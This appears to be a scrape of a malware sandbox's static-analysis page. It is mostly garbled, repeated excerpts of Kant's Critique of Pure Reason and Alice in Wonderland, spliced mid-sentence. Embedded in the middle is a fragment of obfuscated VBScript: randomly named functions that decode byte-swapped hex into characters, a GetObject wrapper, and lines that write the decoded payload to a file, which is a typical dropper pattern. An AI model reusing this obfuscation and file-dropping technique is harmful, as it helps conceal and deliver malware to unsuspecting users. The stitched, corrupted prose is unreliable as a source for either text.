Static | ZeroBOX

mmendation for the assertions of the thesis.

If men could free themselves from all such interests, and consider the assertions of reason irrespective of their consequences, solely in view of the intrinsic force of their grounds, and were the only way of escape from their perplexities to give adhesion to one or other of the opposing parties, their state would be one of continuous vacillation. To-day it would be their conviction that the human will is free; tomorrow, dwelling in reflection upon the indissoluble chain of nature, they would hold that freedom is nothing but self-deception, that everything is simply nature. If, however, they were summoned to action, this play of the merely speculative reason would, like a dream, at once cease, and they would choose their principles exclusively in accordance with practical interests. Since, however, it is fitting that a reflective and enquiring being should devote a certain amount of time to the examination of his own reason, entirely divesting himself of all partiality and openly submitting his observations t

THE ABSOLUTE NECESSITY OF A SOLUTION OF THE TRANSCENDENTAL PROBLEMS OF PURE REASON

To profess to solve all problems and to answer all questions would be impudent boasting, and would argue such extravagant self-conceit as at once to forfeit all confidence. Nevertheless there are sciences the very nature of which requires that every question arising within their domain should be completely answerable in terms of what is known, inasmuch as the answer must issue from the same sources from which the question proceeds. In these sciences it is not permissible to plead unavoidable ignorance; the solution can be demanded.

We must be able, in every possible case, in accordance with a rule, to know what is right and what is wrong, since this concerns our obligation, and we have no obligation to that which we cannot know. In the explanation of natural appearances, on the other hand, much must remain uncertain and many questions insoluble, because what we know of nature is by no means sufficient, in all cases, to account for what has to be explained. The question, therefore, is whether in transcendental philosophy there is any question relating to an object presented to pure reason which is unanswerable by this reason, and whether we may rightly excuse ourselves from giving a decisive answer. In thus excusing ourselves, we should have to show that any knowledge which we can acquire still leaves us in complete uncertainty as to what should be ascribed to the object, and that while we do indeed have a concept sufficient to raise a question, we are entirely lacking in materials or power to answer the same.

Now I maintain that transcendental philosophy is unique in the whole field of speculative knowledge, in that no question which concerns an object given to pure reason can be insoluble for this same human reason, and that no excuse of an unavoidable ignorance, or of the problem's unfathomable depth, can release us from the obligation to answer it thoroughly and completely. That very concept which puts us in a position to ask the question must also qualify us to answer it, since, as in the case of right and wrong, the object is not to be met with as something in itself. If, then, this series is always conditioned, and therefore can never be given as complete, the world is not an unconditioned whole, and does not exist as such a whole, either of infinite or of finite magnitude.

What we have here said of the first cosmological idea, that is, of the absolute totality of magnitude in the [field of] appearance viewed as a thing given in and by itself, prior to all regress. We must therefore say that the number of parts in a given appearance is in itself neither finite nor infinite, neither in motion nor at rest, neither similar nor dissimilar to any other thing. To the critics of his procedure he appeared to have the absurd intention of denying both of two mutually contradictory propositions. But this accusation does not seem to me to be justified. The first of his propositions I shall consider presently more in detail. As regards the others, if by the word 'God' he meant the universe, he would certainly have to say that it is neither abidingly present in its place, that is, at rest, nor that it changes its place, that is, is in motion; because all places are in the universe, and the universe is not, therefore, itself in any place. Again, if the universe comprehends in itself everything

If it be said that all bodies have either a good smell or a smell that is not good, a third case is possible, namely, that a body has no smell at all; and both the conflicting propositions may therefore be false. If, however, I say: all bodies are either good-smelling or not good-smelling (vel suaveolens vel non suaveolens), the two judgments are directly contradictory to one another, and the former only is false, its contradictory opposite, that the world is not infinite, must be true. And I should thus deny the existence of an infinite world, without affirming in its place a finite world. But if we had said that the world is either infinite in extension or is not infinite (non est infinitus), and if the former proposition is false, its contradictory opposite, namely, that some bodies are not good-smelling, comprehending those bodies also which have no smell at all.

Since, in the previous opposition (per disparata), smell, the contingent condition of the concept of the body, was not removed by the opposed judgment, but remained attached to it, the two judgments were not related as contradictory opposites.

If, therefore, we say that the world is either infinite or finite (non-infinite), both statements might be false. For in that case we should be regarding the world in itself as determined in its magnitude, and in the opposed judgment we do not merely remove the infinitude, and with it perhaps the entire separate existence of the world, but attach a determination to the world, regarded as a thing actually existing in itself. This assertion may, however, likewise be false; the world may not be given as a thing in itself, nor as being in its magnitude either infinite or finite. I beg permission to entitle this kind of opposition dialectical, and that of contradictories analytical. Thus of two dialectically opposed judgments both may be false; for the one is not a mere contradictory of the other, but says something more than is required for a simple contradiction.

If we regard the two propositions, that the world is infinite in magnitude and that it is finite in magnitude, as contradictory opposites, we are assuming that the world, the complete series of appearances, is a thing in itself that remains even if I suspend the infinite or the finite regress in the series of its appearances. If, however, I reject this assumption, or rather this accompanying transcendental illusion, and deny that the world is a thing in itself, the contradictory opposition of the two assertions is converted into a merely dialectical opposition. Since the world does not exist in itself, independently of the regressive series of my representations, it exists in itself neither as an infinite whole nor as a finite whole. It exists only in the empirical regress of the series of appearances, and is not to be met with as something in itself. If, then, this series is always conditioned, and therefore can never be given as complete, the world is not an unconditioned whole, and does not exist as such a

What we have here said of the first cosmological idea, that is, of the absolute totality of magnitude in the [field of] appearance, is given, the synthesis which constitutes its empirical condition is given therewith and is presupposed. This synthesis first occurs in the regress, and never exists without it. What we can say is that a regress to the conditions, that is, a continued empirical synthesis, on the other hand, much must remain uncertain and many questions insoluble, because what we know of nature is by no means sufficient, in all cases, to account for what has to be explained. The question, therefore, is whether in transcendental philosophy there is any question relating to an object presented to pure reason which is unanswerable by this reason, and whether we may rightly excuse ourselves from giving a decisive answer. In thus excusing ourselves, we should have to show that any knowledge which we can acquire still leaves us in complete uncertainty as to what should be ascribed to the object [of our

SCEPTICAL REPRESENTATION OF THE COSMOLOGICAL QUESTIONS IN THE FOUR TRANSCENDENTAL IDEAS

We should of ourselves desist from the demand that our questions be answered dogmatically, if from the start we understood that whatever the dogmatic answer might turn out to be it would only increase our ignorance, and cast us from one inconceivability into another, from one obscurity into another still greater, and perhaps even into contradictions. If our question is directed simply to a yes or no, we are well advised to leave aside the supposed grounds of the answer, and first consider what we should gain according as the answer is in the affirmative or in the negative. Should we then find that in both cases the outcome is mere nonsense, there will be good reason for instituting a critical examination of our question, to determine whether the question does not itself rest on a groundless presupposition, in that it plays with an idea the falsity of which can be more easily detected through study of its application and consequences than in its own separate representation.

This is the great utility of the sceptical mode of dealing with the questions which pure reason puts to pure reason. By its means we can deliver ourselves, at but a small cost, from a great body of sterile dogmatism, and set in its place a sober critique, which as a true cathartic will effectively guard us against such groundless beliefs and the supposed polymathy to which they lead.

If therefore, in dealing with a cosmological idea, I were able to appreciate beforehand that whatever view may be taken of the unconditioned in the successive synthesis of appearances, it must either be too large or too small for the empirical regress of the series of appearances, and is not to be met with as something in itself. If, then, this series is always conditioned, and therefore can never be given as complete, the world is not an unconditioned whole, and does not exist as such a whole, either of infinite or of finite magnitude.

In transcendental philosophy, however, the only questions to which we have the right to demand a sufficient answer bearing on the constitution of the object] must refer exclusively to cosmological ideas. For the object must be given empirically, the question being only as to its conformity to an idea. If, on the other hand, the object is transcendental, and is therefore necessarily unknown to me. We are not, however, concerned with this transcendental cause, but only with the rule of the advance in the experience in which objects, that is to say, appearances, are given to me. Moreover, in outcome it is a matter of indifference whether I say that in the empirical advance from this to other possible perceptions we always remain involved in conditions, whether in space or in time, and come upon nothing unconditioned requiring us to determine whether the world exists from eternity or has a beginning; whether cosmical space is filled with beings to infinitude, or is enclosed within certain limits; whether anything

Fourthly, if we admit an absolutely necessary being (whether it be the world itself, or something in the world, or the cause of the world), we set it in a time infinitely remote from any given point of time, because otherwise it would be dependent upon another and antecedent being. But such an existence is then too large for our empirical concept, and is unapproachable through any regress, however far this be carried.

If, again, we hold that everything belonging to the world (whether as conditioned or as condition) is contingent, any and every given existence is too small for our concept. For we are constrained always still to look about for some other existence upon which it is dependent.

We have said that in all these cases the cosmical idea is either too large or too small for any concept of the understanding, I should be in a position to demand and expect none but assured answers to all the questions within its domain (quaestiones domesticae), although up to the present they have perhaps not been found. In addition to transcendental philosophy, there are two pure rational sciences, one purely speculative, the other with a practical content, namely, pure mathematics and pure ethics. Has it ever been suggested that, because of our necessary ignorance of the conditions, it must remain uncertain what exact relation, in rational or irrational numbers, a diameter bears to a circle? Since no adequate solution in terms of rational numbers is possible, and no solution in terms of irrational numbers has yet been discovered, it was concluded that at le

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Function aD50v4bcQWwy(acTq3INDBQvAxmP0E)

aD50v4bcQWwy = Chr(acTq3INDBQvAxmP0E)

End Function

Function ahLiWf0RcxoXJZtv(acTq3INDBQvAxmP0E)

Dim aTwKiOkDVP2Ej49X, at9lLv8qDdFr7

For aTwKiOkDVP2Ej49X = 1 To Len(acTq3INDBQvAxmP0E) Step 2 + 2

at9lLv8qDdFr7 = at9lLv8qDdFr7 & aD50v4bcQWwy("&H" & Mid(acTq3INDBQvAxmP0E, aTwKiOkDVP2Ej49X + 2, 2) & Mid(acTq3INDBQvAxmP0E, aTwKiOkDVP2Ej49X, 2))

ahLiWf0RcxoXJZtv = at9lLv8qDdFr7

End Function

Function a4HucqwBVrbGv6Y(aAJF75Ps3gETfarz1)

GetObject(aAJF75Ps3gETfarz1)

End Function

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file.Write ahLiWf0RcxoXJZtv(aFnB5LTzHoeU0ji) & vbCrLf

file.Close

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file.Close

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a large pigeon had flown into her face and was beating her violently with its wings.

"Serpent!" cried the Pigeon.

"I'm not a serpent!" said Alice indignantly. "Let me alone!"

"I've tried the roots of trees, and I've tried banks, and I've tried hedges," the Pigeon went on, "but those serpents! There's no pleasing them!"

Alice was more and more puzzled.

"As if it wasn't trouble enough hatching the eggs," said the Pigeon, "but I must be on the look-out for serpents, night and day! And just as I'd taken the highest tree in the wood," continued the Pigeon, raising its voice to a shriek, "and just as I was thinking I should be free of them at last, they must needs come wriggling down from the sky! Ugh, Serpent!"

"But I'm not a serpent, I tell you!" said Alice. "I'm a

I'm a little girl," she added rather doubtfully, as she remembered the number of changes she had gone through that day.

"You're looking for eggs, I know that well enough," said the Pigeon; "and what does it matter to me whether you're a little girl or a serpent?"

"It matters a good deal to me," said Alice hastily; "but I'm not looking for eggs, as it happens, and if I was, I shouldn't want yours

I don't like them raw."

"Well, be off, then!" said the Pigeon in a sulky tone, as it settled down again into its nest. Alice crouched down among the trees as well as she could, for her neck kept getting entangled among the branches, and every now and then she had to stop and untwist it. After awhile she remembered that she still held the pieces of mushroom in her hands, and she set to work very carefully, nibbling first at one and then at the other, and growing sometimes taller and sometimes shorter, until she had succeeded in bringing herself down to her usual height.

It was so long since she had been anything near the right size that it felt quite strange at first. "The next thing is to get into that beautiful garden

how is that to be done, I wonder?" As she said this, she came suddenly upon an open place, with a little house in it about four feet high. "Whoever lives there," thought Alice, "it'll never do to come upon them this size; why, I should frighten them out of their wits!" She did not venture to go near the house till she had brought herself down to nine inches high.

PIG AND PEPPER

For a minute or two she stood looking at the house, when suddenly a footman in livery came running out of the wood (judging by his face only, she would have called him a fish)

and rapped loudly at the door with his knuckles. It was opened by another footman in livery, with a round face and large eyes like a frog.

The Fish-Footman began by producing from under his arm a great letter, and this he handed over to the other, saying, in a solemn tone, "For the Duchess. An invitation from the Queen to play croquet." Then they both bowed low and their curls got entangled together.

When Alice next peeped out, the Fish-Footman was gone, and the other was sitting on the ground near the door, staring stupidly up into the sky. Alice went timidly up to the door and knocked.

"There's no sort of use in knocking," said the Footman, "and that for two reasons. First, because I'm on the same side of the door as you are; secondly, because they're making such a noise inside, no one could possibly hear you." And certainly there was a most extraordinary noise going on within

a constant howling and sneezing, and every now and then a great crash, as if a dish or kettle had been broken to pieces.

"How am I to get in?" asked Alice.

"Are you to get in at all?" said the Footman. "That's the first question, you know."

Alice opened the door and went in. The door led right into a large kitchen, which was full of smoke from one end to the other; the Duchess was sitting on a three-legged stool in the middle, nursing a baby; the cook was leaning over the fire, stirring a large caldron which seemed to be full of soup.

"There's certainly too much pepper in that soup!" Alice said to herself, as well as she could for sneezing. Even the Duchess sneezed occasionally; and as for the baby, it was sneezing and howling alternately without a moment's pause. The only two creatures in the kitchen that did not sneeze were the cook and a large cat, which was grinning from ear to ear.

"Please would you tell me," said Alice, a little timidly, "why your cat grins like that?"

"It's a Cheshire-Cat," said the Duchess, "and that's a fact."

Just then the cook took the caldron of soup off the fire, and at once set to work throwing everything within her reach at the Duchess and the baby

the fire-irons came first; then followed a shower of saucepans, plates and dishes. The Duchess took no notice of them, even when they hit her, and the baby was howling so much already that it was quite impossible to say whether the blows hurt it or not.

"Oh, please mind what you're doing!" cried Alice, jumping up and down in an agony of terror.

"Here! You may nurse it a bit, if you like!" the Duchess said to Alice, flinging the baby at her as she spoke. "I must go and get ready to play croquet with the Queen," and she hurried out of the room.

Alice caught the baby with some difficulty, as it was a queer-shaped little creature and held out its arms and legs in all directions. "If I don't take this child away with me," thought Alice, "they're sure to kill it in a day or two. Wouldn't it be murder to leave it behind?" She said the last words out loud and the little thing grunted in reply.

"If you're going to turn into a pig, my dear," said Alice, "I'll have nothing more to do with you. Mind now!"

Alice was just beginning to think to herself, "Now, what am I to do with this creature, when I get it home?" when it grunted again so violently that Alice looked down into its face in some alarm. This time there could be no mistake about it

it was neither more nor less than a pig; so she set the little creature down and felt quite relieved to see it trot away quietly into the wood.

Alice was a little startled by seeing the Cheshire-Cat sitting on a bough of a tree a few yards off. The Cat only grinned when it saw her. "Cheshire-Puss," began Alice, rather timidly, "would you please tell me which way I ought to go from here?"

"In that direction," the Cat said, waving the right paw 'round, "lives a Hatter; and in that direction," waving the other paw, "lives a March Hare. Visit either you like; they're both mad."

"But I don't want to go among mad people," Alice remarked.

"Oh, you can't help that," said the Cat; "we're all mad here. Do you play croquet with the Queen to-day?"

"I should like it very much," said Alice, "but I haven't been invited yet."

"You'll see me there," said the Cat, and vanished.

Alice had not gone much farther before she came in sight of the house of the March Hare; it was so large a house that she did not like to go near till she had nibbled some more of the left-hand bit of mushroom.

A MAD TEA-PARTY

There was a table set out under a tree in front of the house, and the March Hare and the Hatter were having tea at it; a Dormouse was sitting between them, fast asleep.

The table was a large one, but the three were all crowded together at one corner of it. "No room! No room!" they cried out when they saw Alice coming. "There's plenty of room!" said Alice indignantly, and she sat down in a large arm-chair at one end of the table.

The Hatter opened his eyes very wide on hearing this, but all he said was "Why is a raven like a writing-desk?"

"I'm glad they've begun asking riddles

I believe I can guess that," she added aloud.

"Do you mean that you think you can find out the answer to it?" said the March Hare.

"Exactly so," said Alice.

"Then you should say what you mean," the March Hare went on.

"I do," Alice hastily replied; "at least

at least I mean what I say

that's the same thing, you know."

"You might just as well say," added the Dormouse, which seemed to be talking in its sleep, "that 'I breathe when I sleep' is the same thing as 'I sleep when I breathe!'"

"It is the same thing with you," said the Hatter, and he poured a little hot tea upon its nose. The Dormouse shook its head impatiently and walked a little quicker.

"I wish I had Dinah, our cat, here!" said Alice. This caused a remarkable sensation among the party. Some of the birds hurried off at once, and a Canary called out in a trembling voice, to its children, "Come away, my dears! It's high time you were all in bed!" On various pretexts they all moved off and Alice was soon left alone.

"I wish I hadn't mentioned Dinah! Nobody seems to like her down here and I'm sure she's the best cat in the world!" Poor Alice began to cry again, for she felt very lonely and low-spirited. In a little while, however, she again heard a little pattering of footsteps in the distance and she looked up eagerly.

THE RABBIT SENDS IN A LITTLE BILL

It was the White Rabbit, trotting slowly back again and looking anxiously about as it went, as if it had lost something; Alice heard it muttering to itself, "The Duchess! The Duchess! Oh, my dear paws! Oh, my fur and whiskers! She'll get me executed, as sure as ferrets are ferrets! Where can I have dropped them, I wonder?" Alice guessed in a moment that it was looking for the fan and the pair of white kid-gloves and she very good-naturedly began hunting about for them, but they were nowhere to be seen

everything seemed to have changed since her swim in the pool, and the great hall, with the glass table and the little door, had vanished completely.

Very soon the Rabbit noticed Alice, and called to her, in an angry tone, "Why, Mary Ann, what are you doing out here? Run home this moment and fetch me a pair of gloves and a fan! Quick, now!"

"He took me for his housemaid!" said Alice, as she picked her way through the wood. "It's the stupidest tea-party I ever was at in all my life!" Just as she said this, she noticed that one of the trees had a door leading right into it. "That's very curious!" she thought. "I think I may as well go in at once." And in she went.

Once more she found herself in the long hall and close to the little glass table. Taking the little golden key, she unlocked the door that led into the garden. Then she set to work nibbling at the mushroom (she had kept a piece of it in her pocket) till she was about a foot high; then she walked down the little passage; and then

she found herself at last in the beautiful garden, among the bright flower-beds and the cool fountains.

THE QUEEN'S CROQUET GROUND

A large rose-tree stood near the entrance of the garden; the roses growing on it were white, but there were three gardeners at it, busily painting them red. Suddenly their eyes chanced to fall upon Alice, as she stood watching them. "Would you tell me, please," said Alice, a little timidly, "why you are painting those roses?"

Five and Seven said nothing, but looked at Two. Two began, in a low voice, "Why, the fact is, you see, Miss, this here ought to have been a red rose-tree, and we put a white one in by mistake; and, if the Queen was to find it out, we should all have our heads cut off, you know. So you see, Miss, we're doing our best, afore she comes, to

" At this moment, Five, who had been anxiously looking across the garden, called out, "The Queen! The Queen!" and the three gardeners instantly threw themselves flat upon their faces. There was a sound of many footsteps and Alice looked 'round, eager to see the Queen.

First came ten soldiers carrying clubs, with their hands and feet at the corners: next the ten courtiers; these were ornamented all over with diamonds. After these came the royal children; there were ten of them, all ornamented with hearts. Next came the guests, mostly Kings and Queens, and among them Alice recognized the White Rabbit. Then followed the Knave of Hearts, carrying the King's crown on a crimson velvet cushion; and last of all this grand procession came THE KING AND THE QUEEN OF HEARTS.

When the procession came opposite to Alice, they all stopped and looked at her, and the Queen said severely, "Who is this?" She said it to the Knave of Hearts, who only bowed and smiled in reply.

"My name is Alice, so please Your Majesty," said Alice very politely; but she added to herself, "Why, they're only a pack of cards, after all!"

"Can you play croquet?" shouted the Queen. The question was evidently meant for Alice.

"Yes!" said Alice loudly.

"Come on, then!" roared the Queen.

it's a very fine day!" said a timid voice to Alice. She was walking by the White Rabbit, who was peeping anxiously into her face.

"Very," said Alice. "Where's the Duchess?"

"Hush! Hush!" said the Rabbit. "She's under sentence of execution."

"What for?" said Alice.

"She boxed the Queen's ears

" the Rabbit began.

"Get to your places!" shouted the Queen in a voice of thunder, and people began running about in all directions, tumbling up against each other. However, they got settled down in a